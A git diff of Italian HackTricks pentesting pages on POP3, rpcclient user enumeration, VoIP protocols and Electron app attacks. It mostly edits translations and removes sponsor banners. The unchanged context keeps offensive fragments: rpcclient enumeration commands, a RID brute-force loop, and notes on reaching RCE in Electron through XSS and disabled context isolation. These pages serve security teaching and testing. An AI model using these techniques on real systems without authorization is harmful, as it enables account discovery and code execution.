**Post Office Protocol (POP)** è descritto come un protocollo nell'ambito delle reti informatiche e di Internet, utilizzato per l'estrazione e il **recupero di email da un server di posta remoto**, rendendole accessibili sul dispositivo locale. Posizionato all'interno del livello applicativo del modello OSI, questo protocollo consente agli utenti di recuperare e ricevere email. Il funzionamento dei **client POP** comporta tipicamente l'instaurazione di una connessione con il server di posta, il download di tutti i messaggi, la memorizzazione di questi messaggi localmente sul sistema client e successivamente la loro rimozione dal server. Sebbene ci siano tre iterazioni di questo protocollo, **POP3** si distingue come la versione più comunemente utilizzata.
|
||||
**Post Office Protocol (POP)** è descritto come un protocollo nell'ambito del networking informatico e di Internet, utilizzato per l'estrazione e il **recupero di email da un server di posta remoto**, rendendole accessibili sul dispositivo locale. Posizionato all'interno del livello applicativo del modello OSI, questo protocollo consente agli utenti di recuperare e ricevere email. Il funzionamento dei **client POP** comporta tipicamente l'instaurazione di una connessione con il server di posta, il download di tutti i messaggi, la memorizzazione di questi messaggi localmente sul sistema client e successivamente la loro rimozione dal server. Sebbene ci siano tre iterazioni di questo protocollo, **POP3** si distingue come la versione più comunemente utilizzata.
|
||||
|
||||
**Porte predefinite:** 110, 995(ssl)
|
||||
```
|
||||
|
@ -104,11 +97,6 @@ Da [https://academy.hackthebox.com/module/112/section/1073](https://academy.hack
|
|||
| `auth_verbose_passwords` | Le password utilizzate per l'autenticazione vengono registrate e possono anche essere troncate. |
|
||||
| `auth_anonymous_username` | Questo specifica il nome utente da utilizzare quando si accede con il meccanismo ANONYMOUS SASL. |
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks Comandi Automatici
|
||||
```
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Panoramica degli Identificatori Relativi (RID) e degli Identificatori di Sicurezza (SID)
|
||||
|
||||
**Identificatori Relativi (RID)** e **Identificatori di Sicurezza (SID)** sono componenti chiave nei sistemi operativi Windows per identificare e gestire in modo univoco oggetti, come utenti e gruppi, all'interno di un dominio di rete.
|
||||
|
@ -44,10 +36,10 @@ L'utilità **`rpcclient`** di Samba è utilizzata per interagire con **endpoint
|
|||
#### Enumerazione degli Utenti
|
||||
|
||||
* **Gli utenti possono essere elencati** utilizzando: `querydispinfo` e `enumdomusers`.
|
||||
* **Dettagli di un utente** tramite: `queryuser <0xrid>`.
|
||||
* **Dettagli di un utente** con: `queryuser <0xrid>`.
|
||||
* **Gruppi di un utente** con: `queryusergroups <0xrid>`.
|
||||
* **Il SID di un utente viene recuperato** tramite: `lookupnames <username>`.
|
||||
* **Alias degli utenti** tramite: `queryuseraliases [builtin|domain] <sid>`.
|
||||
* **Alias degli utenti** con: `queryuseraliases [builtin|domain] <sid>`.
|
||||
```bash
|
||||
# Users' RIDs-forced
|
||||
for i in $(seq 500 1100); do
|
||||
|
@ -104,15 +96,9 @@ done
|
|||
|
||||
Per **comprendere** meglio come funzionano gli strumenti _**samrdump**_ **e** _**rpcdump**_ dovresti leggere [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -120,7 +106,7 @@ Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -16,20 +16,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere le assunzioni di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Signaling Protocols
|
||||
|
||||
### SIP (Session Initiation Protocol)
|
||||
|
@ -42,11 +28,11 @@ Questo è lo standard del settore, per ulteriori informazioni controlla:
|
|||
|
||||
### MGCP (Media Gateway Control Protocol)
|
||||
|
||||
MGCP (Media Gateway Control Protocol) è un **protocollo di segnalazione** e **controllo delle chiamate** delineato nell'RFC 3435. Funziona in un'architettura centralizzata, che consiste in tre componenti principali:
|
||||
MGCP (Media Gateway Control Protocol) è un **protocollo di segnalazione** e **controllo delle chiamate** delineato nella RFC 3435. Funziona in un'architettura centralizzata, che consiste in tre componenti principali:
|
||||
|
||||
1. **Call Agent o Media Gateway Controller (MGC)**: Il gateway principale nell'architettura MGCP è responsabile per **gestire e controllare i gateway multimediali**. Gestisce i processi di impostazione, modifica e terminazione delle chiamate. L'MGC comunica con i gateway multimediali utilizzando il protocollo MGCP.
|
||||
2. **Media Gateways (MGs) o Slave Gateways**: Questi dispositivi **convertono flussi multimediali digitali tra diverse reti**, come la telefonia tradizionale a commutazione di circuito e le reti IP a commutazione di pacchetto. Sono gestiti dall'MGC ed eseguono i comandi ricevuti da esso. I gateway multimediali possono includere funzioni come transcoding, pacchettizzazione e cancellazione dell'eco.
|
||||
3. **Signaling Gateways (SGs)**: Questi gateway sono responsabili per **convertire i messaggi di segnalazione tra diverse reti**, abilitando una comunicazione senza soluzione di continuità tra i sistemi telefonici tradizionali (ad es. SS7) e le reti basate su IP (ad es. SIP o H.323). I gateway di segnalazione sono cruciali per l'interoperabilità e per garantire che le informazioni sul controllo delle chiamate siano comunicate correttamente tra le diverse reti.
|
||||
3. **Signaling Gateways (SGs)**: Questi gateway sono responsabili per **convertire i messaggi di segnalazione tra diverse reti**, abilitando una comunicazione senza soluzione di continuità tra i sistemi telefonici tradizionali (ad es., SS7) e le reti basate su IP (ad es., SIP o H.323). I gateway di segnalazione sono cruciali per l'interoperabilità e per garantire che le informazioni di controllo delle chiamate siano comunicate correttamente tra le diverse reti.
|
||||
|
||||
In sintesi, MGCP centralizza la logica di controllo delle chiamate nell'agente di chiamata, semplificando la gestione dei gateway multimediali e di segnalazione, fornendo una migliore scalabilità, affidabilità ed efficienza nelle reti di telecomunicazione.
|
||||
|
||||
|
@ -66,14 +52,14 @@ SCCP offre un metodo di comunicazione semplice ed efficiente tra i server di con
|
|||
|
||||
### H.323
|
||||
|
||||
H.323 è una **suite di protocolli** per la comunicazione multimediale, inclusi voce, video e conferenze dati su reti a commutazione di pacchetto, come le reti basate su IP. È stato sviluppato dall'**International Telecommunication Union** (ITU-T) e fornisce un quadro completo per la gestione delle sessioni di comunicazione multimediale.
|
||||
H.323 è una **suite di protocolli** per la comunicazione multimediale, inclusi voce, video e conferenze dati su reti a commutazione di pacchetto, come le reti basate su IP. È stato sviluppato dall'**Unione Internazionale delle Telecomunicazioni** (ITU-T) e fornisce un quadro completo per la gestione delle sessioni di comunicazione multimediale.
|
||||
|
||||
Alcuni componenti chiave della suite H.323 includono:
|
||||
|
||||
1. **Terminals**: Questi sono dispositivi endpoint, come telefoni IP, sistemi di videoconferenza o applicazioni software, che supportano H.323 e possono partecipare a sessioni di comunicazione multimediale.
|
||||
2. **Gateways**: Questi dispositivi convertono flussi multimediali tra diverse reti, come la telefonia tradizionale a commutazione di circuito e le reti IP a commutazione di pacchetto, abilitando l'interoperabilità tra H.323 e altri sistemi di comunicazione. Possono anche includere funzionalità aggiuntive, come transcoding o cancellazione dell'eco.
|
||||
2. **Gateways**: Questi dispositivi convertono i flussi multimediali tra diverse reti, come la telefonia tradizionale a commutazione di circuito e le reti IP a commutazione di pacchetto, abilitando l'interoperabilità tra H.323 e altri sistemi di comunicazione. Possono anche includere funzionalità aggiuntive, come transcoding o cancellazione dell'eco.
|
||||
3. **Gatekeepers**: Questi sono componenti opzionali che forniscono servizi di controllo e gestione delle chiamate in una rete H.323. Eseguono funzioni come la traduzione degli indirizzi, la gestione della larghezza di banda e il controllo degli accessi, aiutando a gestire e ottimizzare le risorse di rete.
|
||||
4. **Multipoint Control Units (MCUs)**: Questi dispositivi facilitano conferenze multipunto gestendo e mescolando flussi multimediali da più endpoint. Le MCU abilitano funzionalità come il controllo del layout video, lo switching attivato dalla voce e la presenza continua, rendendo possibile ospitare conferenze su larga scala con più partecipanti.
|
||||
4. **Multipoint Control Units (MCUs)**: Questi dispositivi facilitano conferenze multipunto gestendo e mescolando i flussi multimediali provenienti da più endpoint. Le MCU abilitano funzionalità come il controllo del layout video, lo switching attivato dalla voce e la presenza continua, rendendo possibile ospitare conferenze su larga scala con più partecipanti.
|
||||
|
||||
H.323 supporta una gamma di codec audio e video, così come altri servizi supplementari come l'inoltro delle chiamate, il trasferimento delle chiamate, la messa in attesa delle chiamate e l'attesa delle chiamate. Nonostante la sua ampia adozione nei primi giorni del VoIP, H.323 è stato gradualmente sostituito da protocolli più moderni e flessibili come il **Session Initiation Protocol (SIP)**, che offre una migliore interoperabilità e una più facile implementazione. Tuttavia, H.323 rimane in uso in molti sistemi legacy e continua a essere supportato da vari fornitori di attrezzature.
|
||||
|
||||
|
@ -83,10 +69,10 @@ IAX (Inter-Asterisk eXchange) è un **protocollo di segnalazione e controllo del
|
|||
|
||||
IAX è noto per la sua **semplicità, efficienza e facilità di implementazione**. Alcune caratteristiche chiave di IAX includono:
|
||||
|
||||
1. **Single UDP Port**: IAX utilizza una singola porta UDP (4569) per sia la segnalazione che il traffico multimediale, il che semplifica il firewall e il traversamento NAT, rendendo più facile il deployment in vari ambienti di rete.
|
||||
1. **Single UDP Port**: IAX utilizza una singola porta UDP (4569) sia per la segnalazione che per il traffico multimediale, il che semplifica il passaggio attraverso firewall e NAT, rendendo più facile il deployment in vari ambienti di rete.
|
||||
2. **Binary Protocol**: A differenza dei protocolli basati su testo come SIP, IAX è un protocollo binario, che riduce il consumo di larghezza di banda e lo rende più efficiente per la trasmissione di dati di segnalazione e multimediali.
|
||||
3. **Trunking**: IAX supporta il trunking, che consente di combinare più chiamate in una singola connessione di rete, riducendo l'overhead e migliorando l'utilizzo della larghezza di banda.
|
||||
4. **Native Encryption**: IAX ha supporto integrato per la crittografia, utilizzando metodi come RSA per lo scambio di chiavi e AES per la crittografia dei media, fornendo comunicazioni sicure tra gli endpoint.
|
||||
4. **Native Encryption**: IAX ha il supporto integrato per la crittografia, utilizzando metodi come RSA per lo scambio di chiavi e AES per la crittografia dei media, fornendo comunicazioni sicure tra gli endpoint.
|
||||
5. **Peer-to-Peer Communication**: IAX può essere utilizzato per la comunicazione diretta tra endpoint senza la necessità di un server centrale, abilitando un instradamento delle chiamate più semplice ed efficiente.
|
||||
|
||||
Nonostante i suoi vantaggi, IAX ha alcune limitazioni, come il suo focus principale sull'ecosistema Asterisk e una minore adozione rispetto a protocolli più consolidati come SIP. Di conseguenza, IAX potrebbe non essere la scelta migliore per l'interoperabilità con sistemi o dispositivi non Asterisk. Tuttavia, per coloro che lavorano all'interno dell'ambiente Asterisk, IAX offre una soluzione robusta ed efficiente per la comunicazione VoIP.
|
||||
|
@ -95,44 +81,33 @@ Nonostante i suoi vantaggi, IAX ha alcune limitazioni, come il suo focus princip
|
|||
|
||||
### SDP (Session Description Protocol)
|
||||
|
||||
SDP (Session Description Protocol) è un **formato basato su testo** utilizzato per descrivere le caratteristiche delle sessioni multimediali, come voce, video o conferenze dati, su reti IP. È stato sviluppato dall'**Internet Engineering Task Force (IETF)** ed è definito nell'**RFC 4566**. SDP non gestisce la trasmissione effettiva dei media o l'instaurazione della sessione, ma viene utilizzato in combinazione con altri protocolli di segnalazione, come il **SIP (Session Initiation Protocol)**, per negoziare e scambiare informazioni sui flussi multimediali e le loro caratteristiche.
|
||||
SDP (Session Description Protocol) è un **formato basato su testo** utilizzato per descrivere le caratteristiche delle sessioni multimediali, come voce, video o conferenze dati, su reti IP. È stato sviluppato dall'**Internet Engineering Task Force (IETF)** ed è definito nella **RFC 4566**. SDP non gestisce la trasmissione effettiva dei media o l'instaurazione della sessione, ma viene utilizzato in combinazione con altri protocolli di segnalazione, come **SIP (Session Initiation Protocol)**, per negoziare e scambiare informazioni sui flussi multimediali e le loro caratteristiche.
|
||||
|
||||
Alcuni elementi chiave di SDP includono:
|
||||
|
||||
1. **Session Information**: SDP descrive i dettagli di una sessione multimediale, inclusi nome della sessione, descrizione della sessione, ora di inizio e ora di fine.
|
||||
2. **Media Streams**: SDP definisce le caratteristiche dei flussi multimediali, come il tipo di media (audio, video o testo), il protocollo di trasporto (ad es. RTP o SRTP) e il formato del media (ad es. informazioni sul codec).
|
||||
2. **Media Streams**: SDP definisce le caratteristiche dei flussi multimediali, come il tipo di media (audio, video o testo), il protocollo di trasporto (ad es., RTP o SRTP) e il formato del media (ad es., informazioni sul codec).
|
||||
3. **Connection Information**: SDP fornisce informazioni sull'indirizzo di rete (indirizzo IP) e sul numero di porta dove il media dovrebbe essere inviato o ricevuto.
|
||||
4. **Attributes**: SDP supporta l'uso di attributi per fornire informazioni aggiuntive e opzionali su una sessione o un flusso multimediale. Gli attributi possono essere utilizzati per specificare varie funzionalità come chiavi di crittografia, requisiti di larghezza di banda o meccanismi di controllo dei media.
|
||||
|
||||
SDP è tipicamente utilizzato nel seguente processo:
|
||||
|
||||
1. Una parte iniziante crea una descrizione SDP della sessione multimediale proposta, inclusi i dettagli dei flussi multimediali e le loro caratteristiche.
|
||||
2. La descrizione SDP viene inviata alla parte ricevente, solitamente incorporata in un messaggio di protocollo di segnalazione come SIP o RTSP.
|
||||
2. La descrizione SDP viene inviata alla parte ricevente, di solito incorporata all'interno di un messaggio di protocollo di segnalazione come SIP o RTSP.
|
||||
3. La parte ricevente elabora la descrizione SDP e, in base alle proprie capacità, può accettare, rifiutare o modificare la sessione proposta.
|
||||
4. La descrizione SDP finale viene inviata di nuovo alla parte iniziante come parte del messaggio del protocollo di segnalazione, completando il processo di negoziazione.
|
||||
4. La descrizione SDP finale viene inviata di nuovo alla parte iniziante come parte del messaggio di protocollo di segnalazione, completando il processo di negoziazione.
|
||||
|
||||
La semplicità e la flessibilità di SDP lo rendono uno standard ampiamente adottato per descrivere sessioni multimediali in vari sistemi di comunicazione, svolgendo un ruolo cruciale nell'instaurazione e nella gestione di sessioni multimediali in tempo reale su reti IP.
|
||||
|
||||
### RTP / RTCP / SRTP / ZRTP
|
||||
|
||||
1. **RTP (Real-time Transport Protocol)**: RTP è un protocollo di rete progettato per la consegna di dati audio e video, o altri media in tempo reale, su reti IP. Sviluppato dall'**IETF** e definito nell'**RFC 3550**, RTP è comunemente utilizzato con protocolli di segnalazione come SIP e H.323 per abilitare la comunicazione multimediale. RTP fornisce meccanismi per **sincronizzazione**, **sequenziamento** e **timestamping** dei flussi multimediali, aiutando a garantire una riproduzione fluida e tempestiva dei media.
|
||||
2. **RTCP (Real-time Transport Control Protocol)**: RTCP è un protocollo compagno di RTP, utilizzato per monitorare la qualità del servizio (QoS) e fornire feedback sulla trasmissione dei flussi multimediali. Definito nello stesso **RFC 3550** di RTP, RTCP **scambia periodicamente pacchetti di controllo tra i partecipanti a una sessione RTP**. Condivide informazioni come perdita di pacchetti, jitter e tempo di andata e ritorno, che aiutano a diagnosticare e adattarsi alle condizioni di rete, migliorando la qualità complessiva dei media.
|
||||
3. **SRTP (Secure Real-time Transport Protocol)**: SRTP è un'estensione di RTP che fornisce **crittografia**, **autenticazione dei messaggi** e **protezione contro la ripetizione** per i flussi multimediali, garantendo una trasmissione sicura di dati audio e video sensibili. Definito nell'**RFC 3711**, SRTP utilizza algoritmi crittografici come AES per la crittografia e HMAC-SHA1 per l'autenticazione dei messaggi. SRTP è spesso utilizzato in combinazione con protocolli di segnalazione sicuri come SIP su TLS per fornire sicurezza end-to-end nella comunicazione multimediale.
|
||||
4. **ZRTP (Zimmermann Real-time Transport Protocol)**: ZRTP è un protocollo di accordo di chiavi crittografiche che fornisce **crittografia end-to-end** per i flussi multimediali RTP. Sviluppato da Phil Zimmermann, il creatore di PGP, ZRTP è descritto nell'**RFC 6189**. A differenza di SRTP, che si basa su protocolli di segnalazione per lo scambio di chiavi, ZRTP è progettato per funzionare indipendentemente dal protocollo di segnalazione. Utilizza lo **scambio di chiavi Diffie-Hellman** per stabilire un segreto condiviso tra le parti comunicanti, senza richiedere fiducia preventiva o un'infrastruttura di chiavi pubbliche (PKI). ZRTP include anche funzionalità come **Short Authentication Strings (SAS)** per proteggere contro attacchi man-in-the-middle.
|
||||
1. **RTP (Real-time Transport Protocol)**: RTP è un protocollo di rete progettato per la consegna di dati audio e video, o altri media in tempo reale, su reti IP. Sviluppato dall'**IETF** e definito nella **RFC 3550**, RTP è comunemente utilizzato con protocolli di segnalazione come SIP e H.323 per abilitare la comunicazione multimediale. RTP fornisce meccanismi per **sincronizzazione**, **sequenziamento** e **timestamping** dei flussi multimediali, aiutando a garantire una riproduzione fluida e tempestiva dei media.
|
||||
2. **RTCP (Real-time Transport Control Protocol)**: RTCP è un protocollo complementare a RTP, utilizzato per monitorare la qualità del servizio (QoS) e fornire feedback sulla trasmissione dei flussi multimediali. Definito nella stessa **RFC 3550** di RTP, RTCP **scambia periodicamente pacchetti di controllo tra i partecipanti a una sessione RTP**. Condivide informazioni come perdita di pacchetti, jitter e tempo di andata e ritorno, che aiutano a diagnosticare e adattarsi alle condizioni di rete, migliorando la qualità complessiva dei media.
|
||||
3. **SRTP (Secure Real-time Transport Protocol)**: SRTP è un'estensione di RTP che fornisce **crittografia**, **autenticazione dei messaggi** e **protezione contro la ripetizione** per i flussi multimediali, garantendo una trasmissione sicura di dati audio e video sensibili. Definito nella **RFC 3711**, SRTP utilizza algoritmi crittografici come AES per la crittografia e HMAC-SHA1 per l'autenticazione dei messaggi. SRTP è spesso utilizzato in combinazione con protocolli di segnalazione sicuri come SIP su TLS per fornire sicurezza end-to-end nella comunicazione multimediale.
|
||||
4. **ZRTP (Zimmermann Real-time Transport Protocol)**: ZRTP è un protocollo di accordo di chiavi crittografiche che fornisce **crittografia end-to-end** per i flussi multimediali RTP. Sviluppato da Phil Zimmermann, il creatore di PGP, ZRTP è descritto nella **RFC 6189**. A differenza di SRTP, che si basa su protocolli di segnalazione per lo scambio di chiavi, ZRTP è progettato per funzionare indipendentemente dal protocollo di segnalazione. Utilizza lo **scambio di chiavi Diffie-Hellman** per stabilire un segreto condiviso tra le parti comunicanti, senza richiedere fiducia preventiva o un'infrastruttura di chiavi pubbliche (PKI). ZRTP include anche funzionalità come **Short Authentication Strings (SAS)** per proteggere contro attacchi man-in-the-middle.
|
||||
|
||||
Questi protocolli svolgono ruoli essenziali nel **fornire e proteggere la comunicazione multimediale in tempo reale su reti IP**. Mentre RTP e RTCP gestiscono la trasmissione effettiva dei media e il monitoraggio della qualità, SRTP e ZRTP garantiscono che i media trasmessi siano protetti contro intercettazioni, manomissioni e attacchi di ripetizione.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere le assunzioni di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -1,39 +1,26 @@
|
|||
# Electron Desktop Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supporta HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Introduzione
|
||||
|
||||
Electron combina un backend locale (con **NodeJS**) e un frontend (**Chromium**), anche se manca di alcuni meccanismi di sicurezza dei browser moderni.
|
||||
|
||||
Di solito puoi trovare il codice dell'app electron all'interno di un'applicazione `.asar`, per ottenere il codice devi estrarlo:
|
||||
Di solito puoi trovare il codice dell'app electron all'interno di un'applicazione `.asar`, per ottenere il codice è necessario estrarlo:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
|
@ -64,7 +51,7 @@ Le impostazioni del **renderer process** possono essere **configurate** nel **ma
|
|||
L'applicazione Electron **potrebbe accedere al dispositivo** tramite le API di Node, anche se può essere configurata per prevenirlo:
|
||||
|
||||
* **`nodeIntegration`** - è `disattivato` per impostazione predefinita. Se attivato, consente di accedere alle funzionalità di Node dal renderer process.
|
||||
* **`contextIsolation`** - è `attivato` per impostazione predefinita. Se disattivato, i processi main e renderer non sono isolati.
|
||||
* **`contextIsolation`** - è `attivato` per impostazione predefinita. Se disattivato, i processi principale e renderer non sono isolati.
|
||||
* **`preload`** - vuoto per impostazione predefinita.
|
||||
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - è disattivato per impostazione predefinita. Restringerà le azioni che NodeJS può eseguire.
|
||||
* Integrazione di Node nei Workers
|
||||
|
@ -118,7 +105,7 @@ Modifica la configurazione start-main e aggiungi l'uso di un proxy come:
|
|||
```
|
||||
## Electron Local Code Injection
|
||||
|
||||
Se puoi eseguire localmente un'app Electron, è possibile che tu possa farla eseguire codice javascript arbitrario. Controlla come in:
|
||||
Se puoi eseguire localmente un'app Electron, è possibile che tu possa far eseguire codice javascript arbitrario. Controlla come in:
|
||||
|
||||
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %}
|
||||
[macos-electron-applications-injection.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
|
||||
|
@ -175,12 +162,12 @@ runCalc();
|
|||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
Il _**contextIsolation**_ introduce i **contesti separati tra gli script della pagina web e il codice interno JavaScript di Electron** in modo che l'esecuzione di ciascun codice non influisca sull'altro. Questa è una caratteristica necessaria per eliminare la possibilità di RCE.
|
||||
Il _**contextIsolation**_ introduce i **contesti separati tra gli script della pagina web e il codice interno JavaScript di Electron** in modo che l'esecuzione di ciascun codice non influisca sugli altri. Questa è una caratteristica necessaria per eliminare la possibilità di RCE.
|
||||
|
||||
Se i contesti non sono isolati, un attaccante può:
|
||||
|
||||
1. Eseguire **JavaScript arbitrario nel renderer** (XSS o navigazione verso siti esterni)
|
||||
2. **Sovrascrivere il metodo incorporato** che viene utilizzato nel preload o nel codice interno di Electron con una funzione propria
|
||||
2. **Sovrascrivere il metodo incorporato** che viene utilizzato nel preload o nel codice interno di Electron con una propria funzione
|
||||
3. **Attivare** l'uso della **funzione sovrascritta**
|
||||
4. RCE?
|
||||
|
||||
|
@ -200,7 +187,7 @@ Ci sono 2 luoghi in cui i metodi incorporati possono essere sovrascritti: nel co
|
|||
|
||||
### Bypass dell'evento click
|
||||
|
||||
Se ci sono restrizioni applicate quando clicchi su un link, potresti essere in grado di bypassarle **facendo un clic centrale** invece di un normale clic sinistro.
|
||||
Se ci sono restrizioni applicate quando clicchi su un link, potresti essere in grado di aggirarle **facendo un clic centrale** invece di un normale clic sinistro.
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
|
@ -208,14 +195,14 @@ window.addEventListener('click', (e) => {
|
|||
|
||||
